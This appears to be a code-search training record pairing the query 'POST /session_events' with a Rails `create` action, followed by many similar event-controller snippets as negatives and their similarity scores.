http_message\n {\n data: {\n type: \"events\",\n id: event.id,\n attributes: {\n updated_at: event.updated_at,\n }\n }\n }.to_json\n end", "def create\n @session_event = SessionEvent.new(session_event_params)\n\n respond_to do |format|\n if @session_event.save\n format.html { redirect_to @session_event, notice: 'Session event was successfully created.' }\n format.json { render :show, status: :created, location: @session_event }\n else\n format.html { render :new }\n format.json { render json: @session_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @event = Event.find(params[:id])\n array = []\n hash = {}\n @event.attribute_names.each {|var| hash[var] = @event.instance_variable_get(\"@attributes\")[var] } \n\n user_event = User.find(@event.user_id)\n res = {:event => hash, :login => user_event.login}\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: res }\n end\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json: @events }\n end\n end", "def fullcalendar_events_json\n events.map do |event|\n {\n id: event.id.to_s,\n title: event.name,\n start: event.starts_at.strftime('%Y-%m-%d %H:%M:%S'),\n end: event.ends_at.strftime('%Y-%m-%d %H:%M:%S'),\n allDay: event.all_day,\n url: event_path(event)\n }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n render json: @event, include: :talks\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def connected_index\n @user_events = UserEvent.where(user_id: current_user.id)\n render json: @user_events, status: 200\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end" ]
[ "0.79839754", "0.78951055", "0.78457177", "0.74457544", "0.7018805", "0.7003359", "0.6998226", "0.6875356", "0.68461466", "0.68285275", "0.6802894", "0.6756299", "0.66977733", "0.6591949", "0.6582734", "0.6579441", "0.657876", "0.6534581", "0.65330446", "0.65308124", "0.65238124", "0.6508836", "0.64858824", "0.6482475", "0.6471903", "0.645699", "0.6453904", "0.6449444", "0.6449444", "0.6449444", "0.6449444", "0.6449444", "0.64373654", "0.64359003", "0.64162666", "0.64077663", "0.64064515", "0.6400832", "0.639828", "0.639828", "0.63909006", "0.6379565", "0.6378796", "0.63771677", "0.63740546", "0.6361065", "0.635833", "0.6357978", "0.63428414", "0.63391507", "0.6336734", "0.63353264", "0.6328273", "0.63259", "0.6323878", "0.63170713", "0.63104475", "0.6307155", "0.6306931", "0.6298238", "0.6295427", "0.6294049", "0.62936777", "0.6290536", "0.62749803", "0.62749803", "0.6265974", "0.6263324", "0.62623405", "0.6260364", "0.62596166", "0.62572455", "0.62547666", "0.62482893", "0.62463975", "0.6241121", "0.6241095", "0.62402135", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161", "0.6239161" ]
0.0
-1
POST /session_events POST /session_events.json
def create @session_event = SessionEvent.new(session_event_params) respond_to do |format| if @session_event.save format.html { redirect_to @session_event, notice: 'Session event was successfully created.' } format.json { render :show, status: :created, location: @session_event } else format.html { render :new } format.json { render json: @session_event.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @session = @event.sessions.new(params[:session])\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to [@event, @session], notice: 'Session was successfully created.' }\n format.json { render json: [@event, @session], status: :created, location: [@event, @session] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n return unless restrict_to_hosts\n\n @session = @event.sessions.new(session_params)\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to [@event, @session], notice: 'Session was successfully created.' }\n format.json { render :show, status: :created, location: [@event, @session] }\n else\n format.html { render :new }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end", "def session_params\n params.require(:session).permit(:event_id, :name, :start, :end)\n end", "def index\n @sessions = @event.sessions\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sessions }\n end\n end", "def create_event event, data={}\n data[:event] = event\n post '/event', data\n end", "def create\n session = Session.new\n session.name = params[:name]\n session.description = params[:description]\n session.start_time = params[:date]\n # TODO: need date\n # TODO: need topic\n session.active = true;\n # add ot_session.id\n ot_session = @@opentok.create_session({media_mode: :routed})\n session.session_id = ot_session.session_id\n # try and save the session\n saved = session.save\n # add moderators\n params[:moderators].each do |moderator|\n SessionUser.create(session_id: session.id, user_id: moderator[:id], role: 'moderator', center_stage: true)\n end\n # add subscribers\n params[:subscribers].each do |subscriber|\n puts subscriber\n SessionUser.create(session_id: session.id, user_id: subscriber[:id], role: 'publisher', center_stage: false)\n end\n if saved\n render json: {message: \"Event: #{session.name} successfully added\"}, status: 200\n else\n render json: {errors: session.errors.to_json}, status: 500\n end\n end", "def create\n Rails.logger.debug(\"Received event #{params[:event]}\")\n head :ok\n end", "def create\n @user = User.find_by_authentication_token(params[:auth_token])\n @event = Event.new.from_json(params[:event])\n @event.user_id = @user.id\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def session_event_params\n params.require(:session_event).permit(:behavior_square_id, :square_press_time, :duration_end_time, :session_id)\n end", "def post_data(data, api_key)\n mutation = Mutations::CREATE_EVENT\n Client.query(mutation, api_key, {\n \"sessionId\": data[:session_id],\n \"eventInput\": {\n \"input\": data\n }\n })\n end", "def get_event(session, options={})\n json_request \"get\", {:session => session}, options\n end", "def set_session_event\n @session_event = SessionEvent.find(params[:id])\n end", "def create\n megam_rest.post_event(to_hash)\n end", "def index\n @session_events = SessionEvent.all\n end", "def create\n event = Event.new(event_params)\n event.save!\n render json: event\n end", "def save\n event = params\n # This assumes that all keys exists. Yay no error handling...\n toSave = Event.new(update_type: event[:event],\n start_time: event[:payload][:event][:start_time_pretty],\n end_time: event[:payload][:event][:end_time_pretty],\n location: event[:payload][:event][:location],\n invitee_name: event[:payload][:invitee][:name],\n duration: event[:payload][:event_type][:duration],\n event_kind: event[:payload][:event_type][:kind])\n toSave.save\n render json: {}, status: 200\n end", "def create\n @event = Event.new(params[:event])\n\n if @event.save\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n params['user_id'] = current_user.id if current_user\n @event = Event.new(event_params)\n\n if @event.save\n render json: { location: format_event(@event) }, status: :created\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def push_events\n saved = []\n jsonHash = request.POST[:_json];\n jsonHash.each do |jsonEvent|\n event = Event.new\n event.race_id = jsonEvent[\"raceId\"]\n event.walker_id = jsonEvent[\"walkerId\"]\n event.eventId = jsonEvent[\"eventId\"]\n event.eventType = jsonEvent[\"type\"]\n event.eventData = jsonEvent[\"data\"]\n event.batteryLevel = jsonEvent[\"batL\"]\n event.batteryState = jsonEvent[\"batS\"]\n event.timestamp = Time.zone.parse(jsonEvent[\"time\"])\n if event.save # if new\n saved << jsonEvent[\"eventId\"]\n if event.race_id != 0 # if not unknown race_id\n after_create(event)\n end\n else # if exists\n saved << jsonEvent[\"eventId\"]\n puts \"Not Saved!\" # debug print\n puts jsonEvent # debug print \n end\n end\n render :json => {:savedEventIds => saved}\n end", "def post_event(url, event, payload_type, payload)\n body = {\n :event => event,\n :payload_type => payload_type }\n body[:payload] = payload if payload\n\n http_post(url) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.body = body.to_json\n req.params['verification'] = 1 if event == 'verification'\n end\n end", "def process_events(session)\n Spotify.session_process_events(session)\n end", "def create\n @new_event = Event.create(event_params.merge(user_id: current_user.id))\n respond_to do |format|\n if @new_event.valid?\n # format.html { redirect_to dojo_student_url, notice: 'Student was successfully created.' }\n\tsession[:event_id] = @new_event.id\n format.html { redirect_to events_path, notice: 'A new event has successfully been created!' }\n format.json { render :show, status: :created, location: @new_event }\n else\n flash[:errors] = @new_event.errors.full_messages\n format.html { redirect_to :back }\n format.json { render json: @new_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n @event.organizer = current_user\n\n if @event.save\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @event = Event.new(event_params)\n\n if @event.save\n \tdata = { data: @event, status: :created, message: \"Event was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @event.errors, status: :unprocessable_entity }\n render :json => data\n end\n end", "def create\n @event = Event.new(event_params)\n if @event.save\n head :created\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @event = Event.new(event_params)\n @event.user = current_user\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n @reopen = true\n format.json { render json: @event.errors, status: :unprocessable_entity }\n format.html { render :index }\n end\n end\n end", "def event(data)\n # Prepare the event object.\n id = @next_event_id\n @next_event_id += 1\n event = data.merge :id => id, :server_ts => Time.now.to_f\n @events << event\n\n # Broadcast the event to users.\n @users.each do |user|\n next unless user.session\n user.session.sync_events\n end\n end", "def create\n @event = Event.find(session[:event_id])\n\n respond_to do |format|\n # if @event.send_invitation_to_guests\n if @event #.send_invitation_to_guests\n format.html { redirect_to(@event, :notice => 'Event was successfully created.') }\n format.xml { render :xml => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new_step_4\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n if user_signed_in?\n @event = Event.new(params[:event])\n @event.user_id = current_user.id\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to new_user_session_path, notice: \"You must sign in before creating an event.\"\n end\n end", "def create\n @clock_event = ClockEvent.new(clock_event_params)\n\n if @clock_event.save\n render json: @clock_event, status: :created, location: clock_event_params\n else\n render json: @clock_event.errors, status: :unprocessable_entity\n end\n end", "def create\n if logged_in?\n @event = Event.new(event_params)\n else\n redirect_to login_path\n end\n\n respond_to do |format|\n if @event.save_sql(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def session_params\n params.permit(:session, :name, :event_id, :max_rsvp)\n end", "def create_connected\n @user_event = UserEvent.new(event_id: @event.id, user_id: current_user.id)\n if @user_event.save\n render json: @user_event, status: 201\n else\n render json: { message: \"Please make sure to fill all required fields.\" }, status: 401\n end\n end", "def create\n @event = Event.new(event_params)\n @current_user.events << @event\n @event.confirm = nil\n @event.save\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n @event.creator = @current_user\n\n if @event.save\n @event.users.each do |user|\n p \"event user = #{user.name}\"\n user.send_event_push(PushTypes::NEW_EVENT, current_user.to_push, @event.title)\n end\n else\n render json: @event.errors, status: :unprocessable_entity\n return\n end\n end", "def create\n params[:event] = convert_datetimes( params[:event] )\n @event = @current_account.events.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @session = @event.sessions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "def create\n @event = Event.new(event_params)\n if @event.save\n render json: @event, status: 201\n @user_event = UserEvent.create(admin: true, event_id: @event.id, user_id: current_user.id)\n else\n render json: { message: \"Please make sure to fill all required fields.\" }, status: 401\n end\n end", "def create\n @event = Event.new(event_params)\n @event.user = current_user\n @event.neighborhood = current_user.current_neighborhood\n\n if isNewser(current_user)\n @event.status = 'pending'\n\n @request = Request.new()\n @request.user = current_user\n @request.neighborhood = current_user.current_neighborhood\n @request.event = @event\n @event.request = @request\n @request.request_type = 'event'\n\n respond_to do |format|\n if @event.save && @request.save\n format.html { redirect_to @event, notice: 'Event was successfully requested.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n else\n @event.status = 'accepted'\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_url, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { redirect_to events_url }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def http_message\n {\n data: {\n type: \"events\",\n id: event.id,\n attributes: {\n updated_at: event.updated_at,\n }\n }\n }.to_json\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.json { render :show, status: :created, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.json { render :show, status: :created, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # render json: params[:event]\n temp_event = Event.create(\n name: params[:event][:name],\n location: params[:event][:location],\n date: params[:event][:date],\n time: params[:event][:time],\n budget: params[:event][:budget],\n user: current_user\n )\n redirect_to \"/items?event=#{temp_event.id}\"\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n logger.debug @event.errors.inspect\n format.html { redirect_to @event, notice: 'データが新規作成されました。' }\n format.json { render :show, status: :created, location: @event }\n else\n logger.debug @event.errors.to_hash(true)\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n puts params[:event]\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = current_user.events.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: t(:event_success) }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_event\r\n if request.post?\r\n @event = PrivateEvent.new(params[:event])\r\n if @event.save \r\n redirect_to :action => 'events'\r\n end \r\n else\r\n @event = PrivateEvent.new\r\n @event.county = User.find(session[:user_id]).county\r\n @event.city = User.find(session[:user_id]).city\r\n @event.country = User.find(session[:user_id]).country\r\n @event.postcode = User.find(session[:user_id]).postcode \r\n end\r\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to dashboard_home_path }\n format.json { render 'event', status: :created, event: @event }\n else\n format.html { render dashboard_home_path }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n track_activity @event\n format.html { redirect_to :back, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n after_event_created_mail @event\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = current_user.events.build(params[:event])\n\n respond_to do |format|\n if @event.save\n log_add @event\n\n format.html { redirect_to events_path, flash: { success: 'Event had been created.' } }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_events\n end", "def create\n # @event = current_user.events.build(event_params)\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n if logged_in?\n current_user.attend_event(@event)\n end\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n if @event.save\n render :show, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def record_event(params = {})\n self.class.get('/event/record', params)\n end", "def post(event, scope=nil)\n scope = scope || Dogapi::Scope.new()\n params = {\n :api_key => @api_key\n }\n \n body = event.to_hash.merge({\n :title => event.msg_title,\n :text => event.msg_text,\n :date_happened => event.date_happened.to_i,\n :host => scope.host,\n :device => scope.device,\n :aggregation_key => event.aggregation_key.to_s\n })\n\n request(Net::HTTP::Post, '/api/v1/events', params, body, true)\n end", "def create\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, :notice => 'Event was successfully created.' }\n format.json { render :json => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n request.format = :json\n event = params[:event]\n ActiveSupport::Notifications.instrument(\"closeio.#{event[:action]}\", event)\n\n #must return an ok - check Rails version to determine whether to return nothing or head response.\n if ::Rails.version =~ /^4/\n render nothing: true\n else\n head :ok\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to new_user_event_path(current_user), notice: 'event was successfully created.' }\n format.json\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @training_session = TrainingSession.new(training_session_params)\n respond_to do |format|\n if @training_session.valid?\n @training_session.google_calendar_event_id = create_event(\n start_date: @training_session.start_date,\n end_date: @training_session.end_date,\n summary: @training_session.summary )\n @training_session.google_calendar_id = ENV['CALENDAR_EMAIL']\n if @training_session.save\n format.html { redirect_to @training_session, notice: 'Training session was successfully created.' }\n format.json { render :show, status: :created, location: @training_session }\n else\n format.html { render :new }\n format.json { render json: @training_session.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :new }\n format.json { render json: @training_session.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @session_event.destroy\n respond_to do |format|\n format.html { redirect_to session_events_url, notice: 'Session event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def get_event_results(subsessionID)\n res = $client.post('/membersite/member/GetSubsessionResults',\n \"subsessionID=#{subsessionID}\", $headers)\n JSON.parse res.body\nend", "def create\n event_hash = params[:event]\n event_hash[:user_id] = session[:current_user_id]\n event_hash[:rating] = 0\n event_hash[:ratings_count] = 0\n \n @event = Event.new event_hash\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to event_url(@event), notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @event = Event.new(event_params)\r\n convert_timezone @event\r\n event_type_status @event\r\n if @event.save_without_exception\r\n update_theme @event\r\n add_event_categories @event\r\n add_event_location @event\r\n create_group_guest_list @event\r\n add_photos @event\r\n # Create Groups and contacts through CSV\r\n contacts_imports\r\n render json: SuccessResponse.new(\r\n code: 200, message: 'Event Created.', location: '/events/List?id=' + @event.id.to_s, eventID: @event.id\r\n ), adapter: :json, status: :ok\r\n else\r\n render json: ErrorResponse.new, adapter: :json, status: :unprocessable_entity\r\n end\r\n end", "def create\n puts \"*************\"\n puts params.inspect\n\n if params[:event].key?(:pass)\n password = params[:event][:pass]\n user = User.find_by_hashed_secret(password)\n puts \"user: #{user.inspect}\"\n else\n # verify_signed_in\n user = current_user\n end\n\n @event = Event.new\n @event[:file] = params[:event][:file]\n # @event[:event_time] = params[:event][:event_time]\n @event.formatted_time = params[:event][:event_time]\n\n if @event.project.nil?\n if user.current_project.nil?\n puts \"No current project. Redirecting.\"\n redirect_to :projects, :notice => \"Sorry, you need a current project.\"\n return\n end\n @event.project = user.current_project\n end\n\n respond_to do |format|\n if @event.save\n puts\n puts \"*****************\"\n puts @event.inspect\n format.html { redirect_to @event.project, :notice => \"Event saved\" }\n format.json { render :json => { :saved => \"true\" } }\n else\n format.html { redirect_to :new_event, :notice => \"Event not saved\" }\n format.json { render :json => { :saved => \"false\" } }\n end\n end\n end", "def new\n @event = Event.new\n @userId = session[:user_id]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event }\n end\n end", "def create\n\t\tuser = current_user\n\t\t@event = Event.new(params[:event])\n\n\t\tuser.events << @event\n\n\t\trespond_to do |format|\n\t\t\tif user.save\n\t\t\t\tformat.html { redirect_to :dashboard}\n\t\t\t\tformat.json { render json: @event, status: :created, location: @event }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @event.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to \"/#{@event.url}\" }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def report_session_event(opts)\n return if not active\n raise ArgumentError.new(\"Missing required option :session\") if opts[:session].nil?\n raise ArgumentError.new(\"Expected an :etype\") unless opts[:etype]\n session = nil\n\n ::ApplicationRecord.connection_pool.with_connection {\n if opts[:session].respond_to? :db_record\n session = opts[:session].db_record\n if session.nil?\n # The session doesn't have a db_record which means\n # a) the database wasn't connected at session registration time\n # or\n # b) something awful happened and the report_session call failed\n #\n # Either way, we can't do anything with this session as is, so\n # log a warning and punt.\n wlog(\"Warning: trying to report a session_event for a session with no db_record (#{opts[:session].sid})\")\n return\n end\n event_data = { :created_at => Time.now }\n else\n session = opts[:session]\n event_data = { :created_at => opts[:created_at] }\n end\n\n session_id = nil\n if session.is_a?(Mdm::Session)\n session_id = session.id\n elsif session.is_a?(Hash) && session.key?(:id)\n session_id = session[:id]\n end\n\n event_data[:session_id] = session_id\n [:remote_path, :local_path, :output, :command, :etype].each do |attr|\n event_data[attr] = opts[attr] if opts[attr]\n end\n\n s = ::Mdm::SessionEvent.create(event_data)\n }\n end", "def create\n \n @event = Event.new(event_params)\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"Event was successfully created.\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to event_registration_path(id: @event.id), notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, :notice => 'Event was successfully created.' }\n format.json { render :json => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n\t\t@event.update_notification\n\t\t@event.push\n format.html { redirect_to events_path(:playerid=>current_player.playerid), notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: t(:event_created) }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n token_ok, token_error = helpers.API_validate_token(request)\n if not token_ok\n render json: {message: token_error }, status: 401\n else\n\n # Get the order ID\n order_id = params[:order_id].to_i\n\n # Save the order event data\n begin\n order_event_data = OrderEvent.new\n order_event_data.event_id = params['eventId']\n order_event_data.user_id = params['userId']\n order_event_data.order_id = order_id\n order_event_data.scope = params['scope']\n order_event_data.observations = params['observations']\n order_event_data.save!\n\n respond_to do |format|\n format.json { render json: {message: 'Event saved.'} }\n end\n\n rescue => e\n puts \"Error #{e.class}: #{e.message}\"\n puts \"ERROR BACKTRACE:\"\n puts e.backtrace\n respond_to do |format|\n format.json { render json: {message: 'Error saving the event to the order',\n extraMsg: e.message} }\n end\n end\n\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: events_path(@event) }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n result = Event::CreateEvent.perform(event_context)\n\n respond_to do |format|\n if result.success?\n @event = result.event\n format.json { render action: 'show', status: :created }\n else\n format.json { render json: { :errors => result.errors.full_messages }, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = current_user.events.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n flash[:success] = \"Event was successfully created.\"\n format.html { redirect_to @event }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @users_event = UsersEvent.new(params[:users_event])\n\n respond_to do |format|\n if @users_event.save\n format.html { redirect_to @users_event, notice: 'Users event was successfully created.' }\n format.json { render json: @users_event, status: :created, location: @users_event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, flash: {success: 'Event was successfully created.'} }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t# redirect user if already logged in\n\t\tif current_user\n\t\t\tevent = Event.new(event_params)\n event.user_id = current_user.id\n # event.conference_id = 1\n\n\t\t\tif event.save\n\t\t\t\tflash[:notice] = \"Successfully saved event.\"\n\t\t\t\tredirect_to event_path(event)\n\t\t\telse\n\t\t\t\tflash[:error] = event.errors.full_messages.join(', ')\n\t\t\t\tredirect_to event_path\n\t\t\tend\n\t\telse\n flash[:error] = \"Need to login to create event.\"\n\t\t\tredirect_to login_path\n\t\tend\n\tend", "def create\n @event = Events::Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n 